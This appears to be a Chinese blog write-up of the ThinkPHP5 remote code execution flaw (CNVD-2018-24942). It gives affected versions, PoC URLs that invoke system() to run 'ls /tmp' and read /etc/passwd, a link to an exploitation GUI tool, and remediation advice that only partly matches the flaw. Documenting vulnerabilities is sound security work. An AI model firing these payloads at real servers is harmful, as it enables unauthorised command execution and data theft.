ThinkPHP5远程代码执行(CNVD-2018-24942)

一、漏洞描述

ThinkPHP5 存在远程代码执行漏洞。该漏洞由于框架对控制器名未能进行足够的检测,攻击者利用该漏洞对目标网站进行远程命令执行攻击。

二、影响版本

ThinkPHP 5.0系列 < 5.0.23

ThinkPHP 5.1系列 < 5.1.31

三、POC

在其地址增加路径与参数即可

/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /tmp

四、漏洞复现

URL加路径/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/etc/passwd

获取flag的话用ls /tmp命令即可;

使用ThinkPHP漏洞利用工具:

五、整改建议

  1. 升级到ThinkPHP5的安全版本5.0.23或更高版本。

  2. 如果无法立即升级,可以通过以下方法暂时防御:

    • 检查应用中是否使用了bind方法,如果用于数据绑定,确保所有用户输入被正确清理和转义。

    • 如果不需要使用bind方法,可以考虑移除或者替换掉。

    • 对于用户输入进行严格的验证和过滤,确保不会执行任何不安全的操作。

六、参考链接

Document

GitHub - Lotus6/ThinkphpGUI: Thinkphp(GUI)漏洞利用工具,支持各版本TP漏洞检测,命令执行,getshell。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值